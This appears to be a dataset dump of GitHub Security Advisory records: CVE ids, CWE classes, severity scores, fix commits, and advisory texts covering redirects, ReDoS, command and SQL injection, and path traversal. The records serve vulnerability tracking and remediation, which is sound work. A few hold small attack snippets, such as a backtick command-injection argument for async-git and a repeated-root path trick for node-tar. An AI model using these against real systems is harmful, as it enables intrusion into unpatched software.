ecosystem
stringclasses 11
values | vuln_id
stringlengths 10
19
| summary
stringlengths 4
220
⌀ | details
stringlengths 34
13.5k
| aliases
stringlengths 17
87
⌀ | modified_date
stringdate 2019-03-26 14:13:00
2022-05-10 08:46:52
| published_date
stringdate 2012-06-17 03:41:00
2022-05-10 08:46:50
| severity
stringclasses 5
values | score
float64 0
10
⌀ | cwe_id
stringclasses 581
values | refs
stringlengths 82
11.6k
| introduced
stringclasses 843
values | code_refs
stringlengths 46
940
| commits
stringlengths 46
940
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
GHSA | GHSA-pm77-c4q7-3fwj | Improper Certificate Validation in Heartland & Global Payments PHP SDK | Gateways/Gateway.php in Heartland & Global Payments PHP SDK before 2.0.0 does not enforce SSL certificate validations. | {'CVE-2019-20455'} | 2021-11-18T15:27:11Z | 2021-10-12T16:31:12Z | MODERATE | 5.9 | {'CWE-295'} | {'https://github.com/globalpayments/php-sdk/pull/8/commits/c86e18f28c5eba0d6ede7d557756d978ea83d3c9', 'https://github.com/globalpayments/php-sdk/pull/8', 'https://nvd.nist.gov/vuln/detail/CVE-2019-20455', 'https://winterdragon.ca/global-payments-vulnerability/', 'https://github.com/globalpayments/php-sdk/releases/tag/2.0.0', 'https://github.com/advisories/GHSA-pm77-c4q7-3fwj', 'https://github.com/globalpayments/php-sdk/compare/1.3.3...2.0.0'} | null | {'https://github.com/globalpayments/php-sdk/pull/8/commits/c86e18f28c5eba0d6ede7d557756d978ea83d3c9'} | {'https://github.com/globalpayments/php-sdk/pull/8/commits/c86e18f28c5eba0d6ede7d557756d978ea83d3c9'} |
GHSA | GHSA-4mf2-f3wh-gvf2 | Subdomain checking of whitelisted domains could allow unintended redirects in oauth2-proxy | ### Impact
_What kind of vulnerability is it? Who is impacted?_
For users that use the whitelist domain feature, a domain that ended in a similar way to the intended domain could have been allowed as a redirect.
For example, if a whitelist domain was configured for `.example.com`, the intention is that subdomains of `example.com` are allowed.
Instead, `example.com` and `badexample.com` could also match.
### Patches
_Has the problem been patched? What versions should users upgrade to?_
This is fixed in version 7.0.0 onwards.
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Disable the whitelist domain feature and run separate OAuth2 Proxy instances for each subdomain.
# Original Issue Posted by @semoac:
Whitelist Domain feature is not working as expected because is not matching a dot to ensure the redirect is a subdomain.
## Expected Behavior
If whitelist domain is set to `.example.com` , then `hack.alienexample.com` should be rejected as a valid redirect.
## Current Behavior
The code is removing the `dot` from `.example.com` and only checking if the redirect string end with `example.com`
## Possible Solution
Here
https://github.com/oauth2-proxy/oauth2-proxy/blob/c377466411f2aee180a732187edb638f2f7e57fb/oauthproxy.go#L661
Include the dot when checking the string:
```
strings.HasSuffix(redirectHostname, "." + domainHostname)
```
## Steps to Reproduce (for bugs)
```
package main
import (
"fmt"
"strings"
)
func validOptionalPort(port string) bool {
if port == "" || port == ":*" {
return true
}
if port[0] != ':' {
return false
}
for _, b := range port[1:] {
if b < '0' || b > '9' {
return false
}
}
return true
}
func splitHostPort(hostport string) (host, port string) {
host = hostport
colon := strings.LastIndexByte(host, ':')
if colon != -1 && validOptionalPort(host[colon:]) {
host, port = host[:colon], host[colon+1:]
}
if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") {
host = host[1 : len(host)-1]
}
return
}
func main() {
domain := ".example.com"
domainHostname, _ := splitHostPort(strings.TrimLeft(domain, "."))
redirectHostname := "https://hack.alienexample.com"
if (strings.HasPrefix(domain, ".") && strings.HasSuffix(redirectHostname, domainHostname)) { fmt.Println("This should not have happen.")}
}
```
Users of `github.com/oauth2-proxy/oauth2-proxy` are advised to update to `github.com/oauth2-proxy/oauth2-proxy/v7` | {'CVE-2021-21291'} | 2022-04-19T19:02:40Z | 2021-05-25T18:42:20Z | LOW | 5.4 | {'CWE-601'} | {'https://github.com/advisories/GHSA-4mf2-f3wh-gvf2', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21291', 'https://github.com/oauth2-proxy/oauth2-proxy/commit/780ae4f3c99b579cb2ea9845121caebb6192f725', 'https://github.com/oauth2-proxy/oauth2-proxy/releases/tag/v7.0.0', 'https://pkg.go.dev/github.com/oauth2-proxy/oauth2-proxy/v7', 'https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-4mf2-f3wh-gvf2'} | null | {'https://github.com/oauth2-proxy/oauth2-proxy/commit/780ae4f3c99b579cb2ea9845121caebb6192f725'} | {'https://github.com/oauth2-proxy/oauth2-proxy/commit/780ae4f3c99b579cb2ea9845121caebb6192f725'} |
GHSA | GHSA-j8fq-86c5-5v2r | Remote code execution in dask | An issue was discovered in Dask (aka python-dask) through 2021.09.1. Single machine Dask clusters started with dask.distributed.LocalCluster or dask.distributed.Client (which defaults to using LocalCluster) would mistakenly configure their respective Dask workers to listen on external interfaces (typically with a randomly selected high port) rather than only on localhost. A Dask cluster created using this method (when running on a machine that has an applicable port exposed) could be used by a sophisticated attacker to achieve remote code execution. | {'CVE-2021-42343'} | 2022-03-21T19:58:45Z | 2021-10-27T18:53:48Z | CRITICAL | 9.8 | {'CWE-668'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-42343', 'https://github.com/dask/distributed/security/advisories/GHSA-hwqr-f3v9-hwxr', 'https://github.com/advisories/GHSA-j8fq-86c5-5v2r', 'https://github.com/dask/distributed/commit/afce4be8e05fb180e50a9d9e38465f1a82295e1b', 'https://github.com/dask/distributed/pull/5427', 'https://docs.dask.org/en/latest/changelog.html'} | null | {'https://github.com/dask/distributed/commit/afce4be8e05fb180e50a9d9e38465f1a82295e1b'} | {'https://github.com/dask/distributed/commit/afce4be8e05fb180e50a9d9e38465f1a82295e1b'} |
GHSA | GHSA-7p7h-4mm5-852v | Regular Expression Denial of Service in trim-newlines | @rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method. | {'CVE-2021-33623'} | 2022-05-04T03:06:55Z | 2021-06-07T22:10:39Z | HIGH | 7.5 | {'CWE-400'} | {'https://security.netapp.com/advisory/ntap-20210702-0007/', 'https://github.com/advisories/GHSA-7p7h-4mm5-852v', 'https://github.com/sindresorhus/trim-newlines/releases/tag/v4.0.1', 'https://www.npmjs.com/package/trim-newlines', 'https://github.com/sindresorhus/trim-newlines/commit/25246c6ce5eea1c82d448998733a6302a4350d91', 'https://nvd.nist.gov/vuln/detail/CVE-2021-33623'} | null | {'https://github.com/sindresorhus/trim-newlines/commit/25246c6ce5eea1c82d448998733a6302a4350d91'} | {'https://github.com/sindresorhus/trim-newlines/commit/25246c6ce5eea1c82d448998733a6302a4350d91'} |
GHSA | GHSA-72mh-269x-7mh5 | Improper Certificate Validation in xmlhttprequest-ssl | The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected. | {'CVE-2021-31597'} | 2021-06-21T22:10:22Z | 2021-05-24T19:52:55Z | CRITICAL | 9.4 | {'CWE-295'} | {'https://github.com/mjwwit/node-XMLHttpRequest/compare/v1.6.0...1.6.1', 'https://nvd.nist.gov/vuln/detail/CVE-2021-31597', 'https://security.netapp.com/advisory/ntap-20210618-0004/', 'https://github.com/advisories/GHSA-72mh-269x-7mh5', 'https://github.com/mjwwit/node-XMLHttpRequest/commit/bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2', 'https://people.kingsds.network/wesgarland/xmlhttprequest-ssl-vuln.txt'} | null | {'https://github.com/mjwwit/node-XMLHttpRequest/commit/bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2'} | {'https://github.com/mjwwit/node-XMLHttpRequest/commit/bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2'} |
GHSA | GHSA-wfm4-pq59-wg6r | Reset Password / Login vulnerability in Sulu | ### Impact
_What kind of vulnerability is it? Who is impacted?_
This vulnerability consists of a few related issues:
#### Forget password leaks information if the user exists
When the "Forget password" feature on the login screen is used, Sulu asks the user for a username or email address. If the given string is not found, a response with a `400` error code is returned, along with a error message saying that this user name does not exist:
```json
{
"code": 0,
"message": "Entity with the type \u0022Sulu\\Bundle\\SecurityBundle\\Entity\\User\u0022 and the id \u0022asdf\u0022 not found."
}
```
This enables attackers to retrieve valid usernames.
#### Forgot password leaks user email if user exists
The response of the "Forgot Password" request returns the email address to which the email was sent, if the operation was successful:
```json
{"email":"admin@localhost.local"}
```
This information should not be exposed, as it can be used to gather email addresses.
#### Response time of login gives hint if the username exists
If the username the user enters in the login screen does not exists, the request responds much faster than if the username exists. This again allows attackers to retrieve valid usernames.
#### Reset Token for Forgot Password feature is not hashed
The reset token in the user database table is not hashed. That means that somebody could try to request a new password using the Forgot Password feature, and look that up in the database, if the attacker somehow got access to the database. Hashing the reset token would fix that problem.
### Patches
This problem was fixed in Release 1.6.34, 2.0.10 and 2.1.1.
### Workarounds
Override the files manually in your project and change them accordingly. | {'CVE-2020-15132'} | 2022-04-19T19:02:32Z | 2020-08-05T21:27:44Z | MODERATE | 5.3 | {'CWE-209'} | {'https://github.com/sulu/sulu/security/advisories/GHSA-wfm4-pq59-wg6r', 'https://github.com/sulu/sulu/commit/0fbb6009eb6a8efe63b7e3f3b4b886dc54bb2326', 'https://github.com/advisories/GHSA-wfm4-pq59-wg6r', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15132'} | null | {'https://github.com/sulu/sulu/commit/0fbb6009eb6a8efe63b7e3f3b4b886dc54bb2326'} | {'https://github.com/sulu/sulu/commit/0fbb6009eb6a8efe63b7e3f3b4b886dc54bb2326'} |
GHSA | GHSA-434h-p4gx-jm89 | Observable Response Discrepancy in Flask-AppBuilder | ### Impact
User enumeration in database authentication in Flask-AppBuilder <= 3.2.3. Allows for a non authenticated user to enumerate existing accounts by timing the response time from the server when you are logging in.
### Patches
Upgrade to 3.3.0
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Flask-AppBuilder](https://github.com/dpgaspar/Flask-AppBuilder)
| {'CVE-2021-29621'} | 2022-04-19T19:02:56Z | 2021-05-27T18:38:36Z | MODERATE | 5.3 | {'CWE-203'} | {'https://github.com/dpgaspar/Flask-AppBuilder/commit/780bd0e8fbf2d36ada52edb769477e0a4edae580', 'https://lists.apache.org/thread.html/r5b754118ba4e996adf03863705d34168bffec202da5c6bdc9bf3add5@%3Cannounce.apache.org%3E', 'https://github.com/dpgaspar/Flask-AppBuilder/security/advisories/GHSA-434h-p4gx-jm89', 'https://lists.apache.org/thread.html/r91067f953906d93aaa1c69fe2b5472754019cc6bd4f1ba81349d62a0@%3Ccommits.airflow.apache.org%3E', 'https://lists.apache.org/thread.html/r466759f377651f0a690475d5a52564d0e786e82c08d5a5730a4f8352@%3Cannounce.apache.org%3E', 'https://github.com/advisories/GHSA-434h-p4gx-jm89', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29621', 'https://pypi.org/project/Flask-AppBuilder/'} | null | {'https://github.com/dpgaspar/Flask-AppBuilder/commit/780bd0e8fbf2d36ada52edb769477e0a4edae580'} | {'https://github.com/dpgaspar/Flask-AppBuilder/commit/780bd0e8fbf2d36ada52edb769477e0a4edae580'} |
GHSA | GHSA-6qpr-9mc5-7gch | Command Injection in async-git | The package async-git before 1.13.2 are vulnerable to Command Injection via shell meta-characters (back-ticks). For example: git.reset('atouch HACKEDb') | {'CVE-2020-28490'} | 2021-07-28T18:03:47Z | 2021-04-12T19:50:20Z | CRITICAL | 9.8 | {'CWE-78'} | {'https://github.com/advisories/GHSA-6qpr-9mc5-7gch', 'https://github.com/omrilotan/async-git/commit/d1950a5021f4e19d92f347614be0d85ce991510d', 'https://nvd.nist.gov/vuln/detail/CVE-2020-28490', 'https://snyk.io/vuln/SNYK-JS-ASYNCGIT-1064877', 'https://www.npmjs.com/package/async-git', 'https://github.com/omrilotan/async-git/pull/14'} | null | {'https://github.com/omrilotan/async-git/commit/d1950a5021f4e19d92f347614be0d85ce991510d'} | {'https://github.com/omrilotan/async-git/commit/d1950a5021f4e19d92f347614be0d85ce991510d'} |
GHSA | GHSA-fx5p-f64h-93xc | Opened exploitable ports in default docker-compose.yaml in go-ipfs | ### Impact
Allows admin API access to the IPFS node.
### Who ?
This affects people running the [docker-compose.yaml](https://github.com/ipfs/go-ipfs/blob/master/docker-compose.yaml) service in an environment where the docker host is directly attached to a public or untrusted IP. In the vulnerable version, the private API endpoint is publicly forwarded by exposing it as `0.0.0.0:5001` on the host machine.
If the host machine is hidden behind a firewall or NAT (and the LAN is trusted for NAT), this is not an immediate issue because of the protection from the firewall or NAT. That said, we still recommend users update to follow security best practices of not putting unnecessary dependency on a working firewall.
### Patches
This issue is in [docker-compose.yaml](https://github.com/ipfs/go-ipfs/blob/master/docker-compose.yaml). Users need to replace their current `docker-compose.yaml` file with a version `0.12.1` or later.
There is no need to update any of the binaries. Users running previous versions like `0.12.0` or earlier can download the `0.12.1` `docker-compose.yaml` file. You can replace a vulnerable `docker-compose.yaml` file with a the new one with:
```
curl https://raw.githubusercontent.com/ipfs/go-ipfs/v0.12.1/docker-compose.yaml > docker-compose.yaml
```
### How to test if you are vulnerable
#### Binding check on the host
On the host machine, while IPFS is running, run as root:
```bash
netstat -lnp | grep ":5001"
```
The output will be a list of listeners bound to `:5001`.
You then need to check that those listeners are private and preferably even localhost IPs.
⚠️ If this listener is on `0.0.0.0` or a public IP you are very likely vulnerable.
#### Remote hailing
While IPFS is running, you can try to contact the API from a remote machine. (Replace `1.2.3.4` with your node public IP. Or if you want to test in an untrusted NAT, then substitute the LAN IP instead.)
```bash
curl -X POST http://1.2.3.4:5001/api/v0/version
```
⚠️ If you see any json outputted (e.g., `{"Commit": "<string>","Golang": "<string>","Repo": "<string>","System": "<string>","Version": "<string>"}`), then you are vulnerable.
If it **fails**, then you are safe.
### For more information
If you have any questions or comments about this advisory:
* Please first read https://docs.ipfs.io/reference/http/api/ about best practices
* Ask in [IPFS Discord #ipfs-chatter](https://discord.gg/ipfs)
* Open an issue in [go-ipfs](https://github.com/ipfs/go-ipfs)
| null | 2022-04-22T17:29:19Z | 2022-04-04T21:23:55Z | MODERATE | 0 | null | {'https://github.com/advisories/GHSA-fx5p-f64h-93xc', 'https://github.com/ipfs/go-ipfs/commit/816a128aaf963d72c4930852ce32b9a4e31924a1', 'https://github.com/ipfs/go-ipfs/pull/8773', 'https://github.com/ipfs/go-ipfs/releases/tag/v0.12.1', 'https://github.com/ipfs/go-ipfs/security/advisories/GHSA-fx5p-f64h-93xc'} | null | {'https://github.com/ipfs/go-ipfs/commit/816a128aaf963d72c4930852ce32b9a4e31924a1'} | {'https://github.com/ipfs/go-ipfs/commit/816a128aaf963d72c4930852ce32b9a4e31924a1'} |
GHSA | GHSA-7x22-pmw5-66mq | Cross-site Scripting in showdoc | Stored XSS via upload attachment with format .svg in File Library. | {'CVE-2021-4172'} | 2022-02-01T00:44:14Z | 2022-02-01T00:44:14Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/star7th/showdoc/commit/409c8a1208bbb847046a9496303192980f2e6219', 'https://nvd.nist.gov/vuln/detail/CVE-2021-4172', 'https://github.com/advisories/GHSA-7x22-pmw5-66mq', 'https://huntr.dev/bounties/c041b693-877b-4456-b463-19e4c9456eee'} | null | {'https://github.com/star7th/showdoc/commit/409c8a1208bbb847046a9496303192980f2e6219'} | {'https://github.com/star7th/showdoc/commit/409c8a1208bbb847046a9496303192980f2e6219'} |
GHSA | GHSA-2mxr-89gf-rc4v | Read permissions not enforced for client provided filter expressions in Elide. | ### Impact
It is possible for an adversary to "guess and check" the value of a model field they do not have access to assuming they can read at least one other field in the model. The adversary can construct filter expressions for an inaccessible field to filter a collection. The presence or absence of models in the returned collection can be used to reconstruct the value of the inaccessible field.
For example, a User model has two fields: _name_ and _role_. The adversary has read permissions to see the _name_ field of the User collection but not the _role_. By constructing a filter like the one below, the adversary can determine which users have admin role by presence or absence in the returned collection:
`filter=role=="Admin"`
### Patches
Resolved in Elide 4.5.14 and greater.
### Workarounds
The adversary can only access the fields if a model includes fields with different read permission levels (some less secure and some more secure). Model security can be adjusted by restricting read permissions on existing models.
### References
Fixed in https://github.com/yahoo/elide/pull/1236
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [elide](https://github.com/yahoo/elide)
* Contact us at [spectrum](https://spectrum.chat/elide?tab=posts) | {'CVE-2020-5289'} | 2021-01-08T20:25:20Z | 2020-03-30T20:09:58Z | HIGH | 6.8 | {'CWE-285'} | {'https://github.com/advisories/GHSA-2mxr-89gf-rc4v', 'https://github.com/yahoo/elide/pull/1236', 'https://github.com/yahoo/elide/pull/1236/commits/a985f0f9c448aabe70bc904337096399de4576dc', 'https://github.com/yahoo/elide/security/advisories/GHSA-2mxr-89gf-rc4v', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5289'} | null | {'https://github.com/yahoo/elide/pull/1236/commits/a985f0f9c448aabe70bc904337096399de4576dc'} | {'https://github.com/yahoo/elide/pull/1236/commits/a985f0f9c448aabe70bc904337096399de4576dc'} |
GHSA | GHSA-3jfq-g458-7qm9 | Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization | ### Impact
Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
`node-tar` aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`.
This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite.
### Patches
3.2.2 || 4.4.14 || 5.0.6 || 6.1.1
NOTE: an adjacent issue [CVE-2021-32803](https://github.com/npm/node-tar/security/advisories/GHSA-r628-mhmh-qjhw) affects this release level. Please ensure you update to the latest patch levels that address CVE-2021-32803 as well if this adjacent issue affects your `node-tar` use case.
### Workarounds
Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths.
```js
const path = require('path')
const tar = require('tar')
tar.x({
file: 'archive.tgz',
// either add this function...
onentry: (entry) => {
if (path.isAbsolute(entry.path)) {
entry.path = sanitizeAbsolutePathSomehow(entry.path)
entry.absolute = path.resolve(entry.path)
}
},
// or this one
filter: (file, entry) => {
if (path.isAbsolute(entry.path)) {
return false
} else {
return true
}
}
})
```
Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves. | {'CVE-2021-32804'} | 2022-03-11T20:21:31Z | 2021-08-03T19:06:36Z | HIGH | 8.2 | {'CWE-22'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-32804', 'https://github.com/npm/node-tar/commit/1f036ca23f64a547bdd6c79c1a44bc62e8115da4', 'https://www.oracle.com/security-alerts/cpuoct2021.html', 'https://github.com/npm/node-tar/security/advisories/GHSA-3jfq-g458-7qm9', 'https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf', 'https://www.npmjs.com/package/tar', 'https://www.npmjs.com/advisories/1770', 'https://github.com/advisories/GHSA-3jfq-g458-7qm9'} | null | {'https://github.com/npm/node-tar/commit/1f036ca23f64a547bdd6c79c1a44bc62e8115da4'} | {'https://github.com/npm/node-tar/commit/1f036ca23f64a547bdd6c79c1a44bc62e8115da4'} |
GHSA | GHSA-hf44-3mx6-vhhw | Navigate endpoint is vulnerable to regex injection that may lead to Denial of Service. | ### Impact
The regex injection that may lead to Denial of Service.
### Patches
Will be patched in 2.4 and 3.0
### Workarounds
Versions lower than 2.x are only affected if the navigation module is added
### References
See this pull request for the fix: https://github.com/graphhopper/graphhopper/pull/2304
If you have any questions or comments about this advisory please [send us an Email](https://www.graphhopper.com/contact-form/) or create a topic [here](https://discuss.graphhopper.com/). | {'CVE-2021-29506'} | 2022-04-19T19:02:56Z | 2021-05-19T23:02:57Z | MODERATE | 6.5 | {'CWE-400'} | {'https://github.com/advisories/GHSA-hf44-3mx6-vhhw', 'https://github.com/graphhopper/graphhopper/pull/2304', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29506', 'https://github.com/graphhopper/graphhopper/security/advisories/GHSA-hf44-3mx6-vhhw', 'https://github.com/graphhopper/graphhopper/commit/eb189be1fa7443ebf4ae881e737a18f818c95f41'} | null | {'https://github.com/graphhopper/graphhopper/commit/eb189be1fa7443ebf4ae881e737a18f818c95f41'} | {'https://github.com/graphhopper/graphhopper/commit/eb189be1fa7443ebf4ae881e737a18f818c95f41'} |
GHSA | GHSA-xcf7-q56x-78gh | Connection descriptor exhaustion in proxyproto | The package `github.com/pires/go-proxyproto` before 0.6.0 are vulnerable to Denial of Service (DoS) via creating connections without the proxy protocol header. | {'CVE-2021-23409'} | 2021-07-26T21:23:49Z | 2021-07-26T21:23:49Z | HIGH | 7.5 | {'CWE-400'} | {'https://github.com/pires/go-proxyproto/issues/65', 'https://github.com/advisories/GHSA-xcf7-q56x-78gh', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMPIRESGOPROXYPROTO-1316439', 'https://github.com/pires/go-proxyproto/pull/74/commits/cdc63867da24fc609b727231f682670d0d1cd346', 'https://github.com/pires/go-proxyproto/releases/tag/v0.6.0', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23409', 'https://github.com/pires/go-proxyproto/pull/74'} | null | {'https://github.com/pires/go-proxyproto/pull/74/commits/cdc63867da24fc609b727231f682670d0d1cd346'} | {'https://github.com/pires/go-proxyproto/pull/74/commits/cdc63867da24fc609b727231f682670d0d1cd346'} |
GHSA | GHSA-pgwj-prpq-jpc2 | Check service IDs are valid | In Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, when service ids allow user input, this could allow for SQL Injection and remote code execution. This is related to symfony/dependency-injection. | {'CVE-2019-10910'} | 2021-09-30T18:39:00Z | 2019-11-18T17:27:31Z | CRITICAL | 9.8 | {'CWE-89'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-10910', 'https://github.com/symfony/symfony/commit/d2fb5893923292a1da7985f0b56960b5bb10737b', 'https://github.com/advisories/GHSA-pgwj-prpq-jpc2', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/proxy-manager-bridge/CVE-2019-10910.yaml', 'https://symfony.com/cve-2019-10910', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2019-10910.yaml', 'https://symfony.com/blog/cve-2019-10910-check-service-ids-are-valid', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/dependency-injection/CVE-2019-10910.yaml', 'https://www.synology.com/security/advisory/Synology_SA_19_19'} | null | {'https://github.com/symfony/symfony/commit/d2fb5893923292a1da7985f0b56960b5bb10737b'} | {'https://github.com/symfony/symfony/commit/d2fb5893923292a1da7985f0b56960b5bb10737b'} |
GHSA | GHSA-2xwp-m7mq-7q3r | CLI does not correctly implement strict mode | In the affected versions, the AWS Encryption CLI operated in "discovery mode" even when "strict mode" was specified. Although decryption only succeeded if the user had permission to decrypt with at least one of the CMKs, decryption could be successful using a CMK that was not included in the user-defined set when the CLI was operating in "strict mode."
Affected users should upgrade to Encryption CLI v1.8.x or v2.1.x as soon as possible. | null | 2021-09-27T20:50:17Z | 2020-10-28T17:05:38Z | LOW | 0 | {'CWE-326'} | {'https://github.com/advisories/GHSA-2xwp-m7mq-7q3r', 'https://github.com/aws/aws-encryption-sdk-cli/security/advisories/GHSA-2xwp-m7mq-7q3r', 'https://github.com/aws/aws-encryption-sdk-cli/commit/7d21b8051cab9e52e056fe427d2bff19cf146460'} | null | {'https://github.com/aws/aws-encryption-sdk-cli/commit/7d21b8051cab9e52e056fe427d2bff19cf146460'} | {'https://github.com/aws/aws-encryption-sdk-cli/commit/7d21b8051cab9e52e056fe427d2bff19cf146460'} |
GHSA | GHSA-8fr3-hfg3-gpgp | Open Redirect in node-forge | parseUrl functionality in node-forge mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path. | {'CVE-2022-0122'} | 2022-01-21T23:36:19Z | 2022-01-21T23:36:19Z | MODERATE | 0 | {'CWE-601'} | {'https://huntr.dev/bounties/41852c50-3c6d-4703-8c55-4db27164a4ae', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0122', 'https://github.com/advisories/GHSA-8fr3-hfg3-gpgp', 'https://github.com/digitalbazaar/forge/commit/db8016c805371e72b06d8e2edfe0ace0df934a5e'} | null | {'https://github.com/digitalbazaar/forge/commit/db8016c805371e72b06d8e2edfe0ace0df934a5e'} | {'https://github.com/digitalbazaar/forge/commit/db8016c805371e72b06d8e2edfe0ace0df934a5e'} |
GHSA | GHSA-r683-j2x4-v87g | node-fetch is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor | node-fetch is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor | {'CVE-2022-0235'} | 2022-04-19T19:03:26Z | 2022-01-21T23:55:52Z | HIGH | 8.8 | {'CWE-200', 'CWE-173', 'CWE-601'} | {'https://github.com/node-fetch/node-fetch/commit/36e47e8a6406185921e4985dcbeff140d73eaa10', 'https://github.com/node-fetch/node-fetch/pull/1453', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0235', 'https://huntr.dev/bounties/d26ab655-38d6-48b3-be15-f9ad6b6ae6f7', 'https://github.com/node-fetch/node-fetch/commit/5c32f002fdd65b1c6a8f1e3620210813d45c7e60', 'https://github.com/advisories/GHSA-r683-j2x4-v87g'} | null | {'https://github.com/node-fetch/node-fetch/commit/36e47e8a6406185921e4985dcbeff140d73eaa10', 'https://github.com/node-fetch/node-fetch/commit/5c32f002fdd65b1c6a8f1e3620210813d45c7e60'} | {'https://github.com/node-fetch/node-fetch/commit/5c32f002fdd65b1c6a8f1e3620210813d45c7e60', 'https://github.com/node-fetch/node-fetch/commit/36e47e8a6406185921e4985dcbeff140d73eaa10'} |
GHSA | GHSA-32j9-6qqm-mq9g | Unhandled case in node-lmdb | The package node-lmdb before 0.9.7 is vulnerable to Denial of Service (DoS) when defining a non-invokable `ToString` value, which will cause a crash during type check. | {'CVE-2022-21164'} | 2022-03-30T20:16:16Z | 2022-03-17T00:00:27Z | HIGH | 7.5 | {'CWE-241', 'CWE-703'} | {'https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a', 'https://github.com/advisories/GHSA-32j9-6qqm-mq9g', 'https://snyk.io/vuln/SNYK-JS-NODELMDB-2400723', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21164'} | null | {'https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a'} | {'https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a'} |
GHSA | GHSA-x5m6-jh4r-34mv | Arbitrary File Overwrite in hub | The am function in lib/hub/commands.rb in hub before 1.12.1 allows local users to overwrite arbitrary files via a symlink attack on a temporary patch file. | {'CVE-2014-0177'} | 2022-02-15T01:07:53Z | 2022-02-15T01:07:53Z | MODERATE | 4.4 | {'CWE-377'} | {'https://github.com/github/hub/commit/016ec99d25b1cb83cb4367e541177aa431beb600', 'https://nvd.nist.gov/vuln/detail/CVE-2014-0177', 'https://secunia.com/advisories/58273', 'https://github.com/advisories/GHSA-x5m6-jh4r-34mv'} | null | {'https://github.com/github/hub/commit/016ec99d25b1cb83cb4367e541177aa431beb600'} | {'https://github.com/github/hub/commit/016ec99d25b1cb83cb4367e541177aa431beb600'} |
GHSA | GHSA-j7cg-h9v9-6vqp | "Prototype Pollution in irrelon-path and @irrelon/path" | The package irrelon-path before 4.7.0; the package @irrelon/path before 4.7.0 are vulnerable to Prototype Pollution via the set, unSet, pushVal and pullVal functions. | {'CVE-2020-7708'} | 2021-07-29T21:55:56Z | 2021-05-06T17:29:19Z | CRITICAL | 9.8 | {'CWE-915'} | {'https://github.com/Irrelon/irrelon-path/commit/8a126b160c1a854ae511659c111413ad9910ebe3', 'https://github.com/advisories/GHSA-j7cg-h9v9-6vqp', 'https://snyk.io/vuln/SNYK-JS-IRRELONPATH-598673', 'https://snyk.io/vuln/SNYK-JS-IRRELONPATH-598672', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7708'} | null | {'https://github.com/Irrelon/irrelon-path/commit/8a126b160c1a854ae511659c111413ad9910ebe3'} | {'https://github.com/Irrelon/irrelon-path/commit/8a126b160c1a854ae511659c111413ad9910ebe3'} |
GHSA | GHSA-gxcm-36qw-j29v | SQL Injection in tribalsystems/zenario | SQL Injection in the "admin_boxes.ajax.php" component of Tribal Systems Zenario CMS v8.8.52729 allows remote attackers to obtain sesnitive database information by injecting SQL commands into the "cID" parameter when creating a new HTML component. | {'CVE-2021-27672'} | 2021-06-08T20:12:02Z | 2021-06-08T20:12:02Z | MODERATE | 4.9 | {'CWE-89'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-27672', 'https://github.com/TribalSystems/Zenario/releases/tag/8.8.53370', 'https://github.com/TribalSystems/Zenario/commit/2c82a4d126c8446106347ef603b157f2d4175fd1', 'https://github.com/advisories/GHSA-gxcm-36qw-j29v', 'https://deadsh0t.medium.com/blind-error-based-authenticated-sql-injection-on-zenario-8-8-52729-cms-d4705534df38'} | null | {'https://github.com/TribalSystems/Zenario/commit/2c82a4d126c8446106347ef603b157f2d4175fd1'} | {'https://github.com/TribalSystems/Zenario/commit/2c82a4d126c8446106347ef603b157f2d4175fd1'} |
